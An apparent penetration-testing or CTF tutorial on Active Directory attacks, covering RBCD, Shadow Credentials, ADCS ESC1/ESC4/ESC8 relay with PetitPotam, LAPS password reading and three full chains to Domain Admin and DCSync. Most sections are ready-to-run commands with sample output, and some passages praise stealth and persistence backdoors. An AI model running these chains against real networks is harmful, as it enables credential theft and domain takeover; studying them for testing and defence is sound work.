Chain 3: Delegation Attack

Domain User ──▢ Find Unconstrained ──▢ Compromise ──▢ Coerce DC Auth
                  Delegation Host         Host         (Printerbug)
                                                           β”‚
                                       DCSync ◀── Capture DC's TGT
  1. Get domain user credentials
  2. Find computer with unconstrained delegation
  3. Compromise that computer
  4. Coerce DC authentication (Printerbug/PetitPotam)
  5. Capture DC's TGT
  6. DCSync with the DC's ticket β†’ Domain Admin

🧰 Essential Tools Reference

  • Impacket β€” Python suite: secretsdump, psexec, GetUserSPNs, GetNPUsers, ticketer, smbclient, and 30+ more scripts
  • CrackMapExec (NetExec) β€” Swiss army knife for AD: credential spraying, command execution, share enumeration
  • BloodHound β€” AD relationship mapping and attack path discovery
  • Rubeus β€” Windows Kerberos toolkit: Kerberoast, AS-REP, ticket operations, S4U
  • Mimikatz β€” Credential extraction: logonpasswords, DCSync, Golden/Silver Tickets, PTH
  • Kerbrute β€” Kerberos brute-forcing and user enumeration (stealthy β€” doesn't trigger traditional login events)
  • PowerView β€” PowerShell AD enumeration (part of PowerSploit)
  • ADRecon β€” Automated AD enumeration with HTML/Excel reports
  • Evil-WinRM β€” WinRM shell with upload/download and PowerShell integration
  • ldapsearch β€” LDAP query tool (built into most Linux distros)

🎯 Methodology Summary

  1. Get domain credentials β€” Any domain user account (via spraying, phishing, web exploit, etc.)
  2. Run BloodHound β€” Collect and analyze AD relationships
  3. Quick wins β€” AS-REP Roast, Kerberoast, check for low-hanging fruit
  4. Analyze attack paths β€” BloodHound shortest paths, ACL abuse chains
  5. Lateral movement β€” Move to machines where you have access
  6. Escalate β€” Delegation abuse, ACL abuse, credential reuse
  7. DCSync β€” Extract all hashes once you have the rights
  8. Persist β€” Golden Ticket, AdminSDHolder, DCSync backdoor

❌ Common Mistakes

  • Not running BloodHound: Manual AD enumeration is like navigating without a map. BloodHound finds paths you'll never spot with LDAP queries alone.
  • Spraying too fast: Account lockouts are real. Check the lockout policy FIRST, then spray carefully with adequate delays.
  • Ignoring ACL abuse: Most people go straight for Kerberoasting. ACL abuse paths are often the intended solution in CTFs.
  • Wrong SPN format: Kerberoasting fails if the SPN isn't correctly formatted. Use GetUserSPNs to enumerate rather than guessing.
  • Forgetting clock skew: Kerberos requires clocks to be within 5 minutes. If attacks fail, sync your clock: ntpdate DC_IP
  • Not adding DNS entries: AD relies heavily on DNS. Add the DC to /etc/hosts or configure DNS: echo 'nameserver DC_IP' > /etc/resolv.conf
  • Using wrong hash format: impacket expects LMHash:NTHash. If you only have the NT hash, use :NTHash (empty LM hash).

πŸ”— Resource-Based Constrained Delegation (RBCD) β€” In Depth

RBCD is one of the most versatile and commonly exploited delegation attacks in modern AD environments. Unlike traditional constrained delegation (which is configured on the source account by a domain admin), RBCD is configured on the target computer through the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This means anyone who can write to a computer object can configure delegation to it.

Why RBCD is So Dangerous

  • By default, any domain user can create up to 10 computer accounts (controlled by the ms-DS-MachineAccountQuota attribute)
  • Many ACL misconfigurations grant write access to computer objects (GenericAll, GenericWrite, WriteDACL on a computer)
  • You don't need any special privileges beyond write access to the target computer object
  • The attack is entirely legitimate Kerberos operations β€” hard to detect

The Complete Attack Chain

# Prerequisites:
# - Valid domain credentials
# - Write access to a target computer's AD object (GenericAll, GenericWrite, etc.)
# - Ability to create a computer account OR control of an existing one

# ─── Step 1: Verify the target ──────────
# Check if you have write access to the target computer object
# BloodHound: Look for GenericAll/GenericWrite edges to computer nodes
# Or with PowerView:
Get-DomainObjectAcl -Identity "TARGET$" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"}

# ─── Step 2: Check MachineAccountQuota ──
# Can we create computer accounts?
crackmapexec ldap DC_IP -u user -p password -M maq
# Or:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(objectClass=domain)' ms-DS-MachineAccountQuota
# Default is 10 β€” if it's > 0, you can create computer accounts

# ─── Step 3: Create a controlled computer account ──
impacket-addcomputer domain.htb/user:password -computer-name 'EVILCOMP$' -computer-pass 'EvilPass123!' -dc-ip DC_IP

# Verify it was created:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(sAMAccountName=EVILCOMP$)' sAMAccountName

# ─── Step 4: Configure RBCD on the target ──
# Set msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET to trust EVILCOMP$
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -delegate-from 'EVILCOMP$' -dc-ip DC_IP -action write

# Verify the delegation:
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -dc-ip DC_IP -action read

# ─── Step 5: Perform S4U attack ──────────
# Use S4U2Self + S4U2Proxy to get a service ticket as Administrator
impacket-getST -spn 'CIFS/target.domain.htb' -impersonate Administrator \
  domain.htb/'EVILCOMP$':'EvilPass123!' -dc-ip DC_IP

# ─── Step 6: Use the ticket ─────────────
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass target.domain.htb
# β†’ SYSTEM shell on the target!

# ─── Cleanup ─────────────────────────────
# Remove the RBCD configuration:
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -delegate-from 'EVILCOMP$' -dc-ip DC_IP -action remove
# Remove the computer account:
impacket-addcomputer domain.htb/user:password -computer-name 'EVILCOMP$' -dc-ip DC_IP -delete
πŸ’‘ Pro tip: RBCD can also be performed using an existing computer account you've compromised (extract its hash from the machine). This avoids creating a new computer account, which is stealthier and works even when MachineAccountQuota is 0.

πŸ”‘ Shadow Credentials

Shadow Credentials is a clever persistence and escalation technique. The idea: Windows supports certificate-based login (like using an SSH key instead of a password). By adding your own certificate to a target user's AD object, you can log in as them without knowing their password. The beauty is that it doesn't change their password, doesn't trigger typical alerts, and survives password changes.

How It Works

  • Windows Hello for Business uses the msDS-KeyCredentialLink attribute to store public keys
  • If you can write to this attribute on a target (user or computer), you can add your own key
  • You then use the corresponding private key to request a TGT via PKINIT
  • From the TGT, you can extract the NTLM hash (UnPAC-the-hash technique)
# Requirements:
# - Write access to the target's msDS-KeyCredentialLink attribute
# - AD CS or PKINIT must be available in the domain (Windows Server 2016+)

# ─── From Linux with pywhisker ──────────
# Install: pip3 install pywhisker
pywhisker -d domain.htb -u attacker -p 'password' --target target_user --action add --dc-ip DC_IP

# pywhisker outputs:
# [+] Updated the msDS-KeyCredentialLink attribute of target_user
# [+] DeviceID: abc123-def456
# [+] PFX password: RandomPassword123
# [+] Saved PFX to: abc123.pfx

# Now authenticate with the PFX certificate:
# Get a TGT using PKINIT:
python3 gettgtpkinit.py domain.htb/target_user -cert-pfx abc123.pfx -pfx-pass RandomPassword123 target_user.ccache

# Extract the NTLM hash from the TGT (UnPAC-the-hash):
export KRB5CCNAME=target_user.ccache
python3 getnthash.py domain.htb/target_user -key AS_REP_KEY_FROM_PREVIOUS_STEP

# Now you have the NTLM hash β†’ Pass-the-Hash!

# ─── From Windows with Whisker ──────────
.\Whisker.exe add /target:target_user /domain:domain.htb /dc:DC01.domain.htb
# Whisker outputs a Rubeus command to get a TGT:
.\Rubeus.exe asktgt /user:target_user /certificate:BASE64_CERT /password:CERT_PASSWORD /domain:domain.htb /dc:DC01.domain.htb /getcredentials /show

# ─── Cleanup ─────────────────────────────
pywhisker -d domain.htb -u attacker -p 'password' --target target_user --action remove --device-id abc123-def456 --dc-ip DC_IP

Shadow Credentials for Persistence

# Shadow Credentials is excellent for persistence because:
# 1. It doesn't change the target's password
# 2. It doesn't show up in typical security monitoring
# 3. The key credential survives password changes
# 4. Multiple key credentials can coexist

# Add shadow credentials to the Domain Controller's computer account:
pywhisker -d domain.htb -u admin -p 'password' --target 'DC01$' --action add --dc-ip DC_IP
# Now you can always authenticate as DC01$ β†’ DCSync at will

πŸ“œ ADCS Attacks (Certifried / ESC1-8)

Active Directory Certificate Services (ADCS) is Microsoft's system for issuing digital certificates (think digital ID cards). It turns out that ADCS is massively misconfigured in most real-world environments. Researchers at SpecterOps cataloged the vulnerabilities as ESC1 through ESC8, and they've become some of the most commonly exploited AD attack paths. If the domain has a Certificate Authority (CA), always check for these.

Enumerating ADCS

# Find Certificate Authorities and templates:
# From Linux:
certipy find -u [email protected] -p 'password' -dc-ip DC_IP
# Generates a detailed report of all CAs, templates, and vulnerabilities

# From Windows:
.\Certify.exe find
.\Certify.exe find /vulnerable     # Only show exploitable templates

# Key things to look for:
# - Certificate templates with "Client Authentication" EKU
# - Templates where low-privilege users have enrollment rights
# - Templates that allow the subject to be specified by the requester
# - Web enrollment endpoints

ESC1 β€” Misconfigured Certificate Template

The most common and impactful ADCS vulnerability. Occurs when a template allows low-privilege users to request certificates with an arbitrary Subject Alternative Name (SAN), meaning you can request a cert as anyone, including Domain Admin.

# Conditions for ESC1:
# 1. Template grants enrollment rights to low-priv users
# 2. Manager approval is NOT required
# 3. No authorized signatures required
# 4. Template allows requestor to specify a SAN (ENROLLEE_SUPPLIES_SUBJECT)
# 5. Template has "Client Authentication" EKU

# Exploit with certipy:
certipy req -u [email protected] -p 'password' -ca 'CORP-CA' \
  -template 'VulnerableTemplate' -upn [email protected] -dc-ip DC_IP

# This requests a certificate as [email protected]!
# Output: administrator.pfx

# Authenticate with the certificate:
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Output: Administrator's NTLM hash!

# With Certify (Windows):
.\Certify.exe request /ca:DC01.domain.htb\CORP-CA /template:VulnerableTemplate /altname:Administrator
# Convert the cert, then use Rubeus:
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt

ESC4 β€” Vulnerable Template ACL

# If you have write access to a certificate template's AD object,
# you can modify the template to make it vulnerable to ESC1:

# Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT:
certipy template -u [email protected] -p 'password' -template 'TargetTemplate' \
  -save-old -dc-ip DC_IP
# This saves the old config and modifies the template

# Now exploit as ESC1:
certipy req -u [email protected] -p 'password' -ca 'CORP-CA' \
  -template 'TargetTemplate' -upn [email protected] -dc-ip DC_IP

# Restore the original template (cleanup):
certipy template -u [email protected] -p 'password' -template 'TargetTemplate' \
  -configuration old_config.json -dc-ip DC_IP

ESC8 β€” NTLM Relay to ADCS Web Enrollment

# If ADCS has a web enrollment endpoint (HTTP) without HTTPS enforcement,
# you can relay NTLM authentication to request certificates:

# Step 1: Set up NTLM relay to the web enrollment endpoint
impacket-ntlmrelayx -t http://ca.domain.htb/certsrv/certfnsh.asp \
  -smb2support --adcs --template 'DomainController'

# Step 2: Coerce authentication from the DC (PetitPotam):
python3 PetitPotam.py ATTACKER_IP DC_IP

# Step 3: The relay captures the DC's authentication and requests a cert
# Output: Base64-encoded certificate for DC01$

# Step 4: Authenticate with the certificate:
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# β†’ DC01$ NTLM hash β†’ DCSync!

πŸ”’ LAPS Exploitation

LAPS (Local Administrator Password Solution) is a Microsoft tool that automatically sets unique, random passwords for the local Administrator account on each domain-joined computer. The passwords are stored in AD as a readable attribute on each computer object. The catch: only certain users and groups are supposed to be able to read these passwords. If you happen to be in one of those groups (or can get into one), you get the local admin password in cleartext. It's basically a password vault stored in AD.

# ─── Check if LAPS is deployed ──────────
# From Linux:
crackmapexec ldap DC_IP -u user -p password -M laps
# Or:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' \
  '(ms-Mcs-AdmPwdExpirationTime=*)' ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime sAMAccountName

# From Windows:
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# ─── Read LAPS passwords ────────────────
# By default, only specific groups can read ms-Mcs-AdmPwd
# Check who has read access:
# BloodHound: "Find Principals with ReadLAPSPassword rights"
# Or with PowerView:
Get-DomainObjectAcl -SearchBase 'CN=Computers,DC=domain,DC=htb' -ResolveGUIDs | ? {$_.ObjectAceType -match 'ms-Mcs-AdmPwd'}

# If you have read access:
# From Linux:
crackmapexec smb DC_IP -u user -p password --laps
# Output: domain.htb\TARGET$   password: xK#9mP2!qR7

# From Linux with ldapsearch:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' \
  '(sAMAccountName=TARGET$)' ms-Mcs-AdmPwd
# ms-Mcs-AdmPwd: xK#9mP2!qR7

# From Windows:
Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# ─── Use the LAPS password ──────────────
# The password is for the LOCAL administrator account:
crackmapexec smb TARGET_IP -u Administrator -p 'xK#9mP2!qR7' --local-auth
evil-winrm -i TARGET_IP -u Administrator -p 'xK#9mP2!qR7'
impacket-psexec ./Administrator:'xK#9mP2!qR7'@TARGET_IP

# LAPS v2 (Windows LAPS) uses a different attribute:
# msLAPS-Password (JSON format with username and password)
# msLAPS-EncryptedPassword (encrypted β€” harder to extract)

πŸ—ΊοΈ Practical Attack Chains β€” Extended Scenarios

These three scenarios walk through realistic multi-step AD attack chains from start to finish.

Chain 1: Web Shell β†’ Domain User β†’ Kerberoast β†’ ACL Abuse β†’ DA

# ─── Phase 1: Initial Foothold ──────────
# Exploit a web application (e.g., file upload RCE) to get a shell on a web server
# You're running as IIS APPPOOL\DefaultAppPool

# ─── Phase 2: Credential Discovery ──────
# Find database connection string in web.config:
type C:\inetpub\wwwroot\web.config
# connectionString="Server=SQL01;Database=app;User Id=svc_web;Password=WebSvc2024!"

# Test the creds against the domain:
# (From your Linux attacker machine)
crackmapexec smb DC_IP -u svc_web -p 'WebSvc2024!'
# [+] domain.htb\svc_web:WebSvc2024!

# ─── Phase 3: Enumeration ───────────────
# Run BloodHound:
bloodhound-python -u svc_web -p 'WebSvc2024!' -d domain.htb -ns DC_IP -c all

# Quick wins β€” Kerberoasting:
impacket-GetUserSPNs domain.htb/svc_web:'WebSvc2024!' -dc-ip DC_IP -request
# Found: svc_sql has SPN MSSQLSvc/sql01.domain.htb:1433
# $krb5tgs$23$*svc_sql$DOMAIN.HTB$...

# Crack the hash:
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt
# Cracked: svc_sql:SqlAdmin2020!

# ─── Phase 4: BloodHound Analysis ───────
# Mark svc_web and svc_sql as "Owned" in BloodHound
# Run: "Shortest Paths to Domain Admins from Owned Principals"
# BloodHound shows: svc_sql β†’ GenericAll on IT-ADMINS group β†’ 
#   IT-ADMINS β†’ WriteDACL on Domain Admins

# ─── Phase 5: ACL Abuse Chain ───────────
# svc_sql has GenericAll on IT-ADMINS β†’ add ourselves:
net rpc group addmem "IT-ADMINS" svc_sql -U 'domain.htb/svc_sql%SqlAdmin2020!' -S DC_IP

# IT-ADMINS has WriteDACL on Domain Admins β†’ grant ourselves GenericAll:
impacket-dacledit domain.htb/svc_sql:'SqlAdmin2020!' -target-dn 'CN=Domain Admins,CN=Users,DC=domain,DC=htb' \
  -dc-ip DC_IP -action write -rights FullControl -principal svc_sql

# Now add svc_sql to Domain Admins:
net rpc group addmem "Domain Admins" svc_sql -U 'domain.htb/svc_sql%SqlAdmin2020!' -S DC_IP

# ─── Phase 6: Domain Admin! ─────────────
impacket-secretsdump domain.htb/svc_sql:'SqlAdmin2020!'@DC_IP
# Dumps ALL domain hashes

Chain 2: LAPS Reader β†’ Local Admin β†’ ADCS β†’ Domain Admin

# ─── Starting position: Domain user with limited access ──
# User: j.smith / Fall2024!

# ─── Step 1: Enumerate LAPS permissions ──
# BloodHound shows: j.smith is in "HELPDESK" group
# HELPDESK group has ReadLAPSPassword on WS01

# ─── Step 2: Read LAPS password ─────────
crackmapexec smb DC_IP -u j.smith -p 'Fall2024!' --laps --computer WS01
# WS01 local admin password: Rk$8mQ2pX!

# ─── Step 3: Access WS01 as local admin ──
evil-winrm -i WS01_IP -u Administrator -p 'Rk$8mQ2pX!'

# ─── Step 4: Dump cached credentials ────
# Check for logged-in domain users (Mimikatz):
.\mimikatz.exe "sekurlsa::logonpasswords" exit
# Found cached credentials for: m.jones (IT admin)
# NTLM: a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4

# ─── Step 5: Enumerate ADCS with m.jones ─
certipy find -u [email protected] -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -dc-ip DC_IP
# Found ESC1 vulnerable template: "UserAuthentication"
# m.jones has enrollment rights!

# ─── Step 6: Exploit ESC1 for DA ─────────
certipy req -u [email protected] -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  -ca 'CORP-CA' -template 'UserAuthentication' -upn [email protected] -dc-ip DC_IP

certipy auth -pfx administrator.pfx -dc-ip DC_IP
# β†’ Administrator NTLM hash β†’ Domain Admin!

Chain 3: AS-REP Roast β†’ Shadow Credentials β†’ RBCD β†’ DA

# ─── Starting position: Username list, no passwords ──────

# ─── Step 1: AS-REP Roast ───────────────
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
# Found: svc_scanner does not require pre-authentication
# [email protected]:...

hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt
# Cracked: svc_scanner:Scanner1!

# ─── Step 2: Enumerate with new credentials ─
bloodhound-python -u svc_scanner -p 'Scanner1!' -d domain.htb -ns DC_IP -c all

# BloodHound shows: svc_scanner has GenericWrite on SERVER01$ computer object

# ─── Step 3: Shadow Credentials on SERVER01$ ─
# Add a key credential to SERVER01$:
pywhisker -d domain.htb -u svc_scanner -p 'Scanner1!' --target 'SERVER01$' --action add --dc-ip DC_IP
# Output: server01.pfx with password

# Get TGT for SERVER01$:
python3 gettgtpkinit.py domain.htb/'SERVER01$' -cert-pfx server01.pfx -pfx-pass CertPass123 server01.ccache

# Extract NTLM hash:
export KRB5CCNAME=server01.ccache
python3 getnthash.py domain.htb/'SERVER01$' -key AS_REP_KEY
# SERVER01$ NTLM: 1234567890abcdef1234567890abcdef

# ─── Step 4: RBCD from SERVER01$ to DC01$ ─
# svc_scanner has GenericWrite on SERVER01$ β†’ already used for shadow creds
# Now check: does svc_scanner have write access on DC01$?
# If not, use SERVER01$ credentials to check for relay paths...

# Actually, use RBCD differently β€” configure RBCD on SERVER01$ itself:
# Create a new computer account:
impacket-addcomputer domain.htb/svc_scanner:'Scanner1!' -computer-name 'EVIL$' -computer-pass 'Evil123!'

# Set RBCD: let EVIL$ impersonate users to SERVER01$:
impacket-rbcd domain.htb/svc_scanner:'Scanner1!' -delegate-to 'SERVER01$' -delegate-from 'EVIL$' -dc-ip DC_IP -action write

# Get ticket as Administrator to SERVER01$:
impacket-getST -spn 'CIFS/server01.domain.htb' -impersonate Administrator \
  domain.htb/'EVIL$':'Evil123!' -dc-ip DC_IP

# ─── Step 5: Pivot through SERVER01 ─────
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass server01.domain.htb

# On SERVER01: dump cached Domain Admin credentials with Mimikatz
# Found: Domain Admin NTLM hash from cached logon!

# ─── Step 6: DCSync with DA credentials ──
impacket-secretsdump domain.htb/administrator@DC_IP -hashes :DA_NTLM_HASH

🧠 Knowledge Check β€” Methodology & Persistence

What is the correct order for an Active Directory attack methodology?
The correct methodology is: (1) Get domain credentials (via spraying, phishing, etc.), (2) Run BloodHound to map the domain, (3) Quick wins like AS-REP Roasting and Kerberoasting, (4) Analyze attack paths from BloodHound, (5) Lateral movement to machines where you have access, (6) Escalate via delegation, ACL abuse, or credential reuse, (7) DCSync once you have the rights, (8) Persist with Golden Tickets or AdminSDHolder. Each step builds on the previous one.
Why must the krbtgt password be changed TWICE to invalidate a Golden Ticket?
Active Directory maintains a password history for the krbtgt account (current + previous). When you change the password once, the old hash becomes the "previous" password β€” and Kerberos still accepts TGTs encrypted with either hash for backward compatibility. Changing it a second time pushes the compromised hash out of the history entirely. This is why Golden Tickets are such a persistent backdoor and why incident response must change krbtgt twice.

πŸ“– Further Reading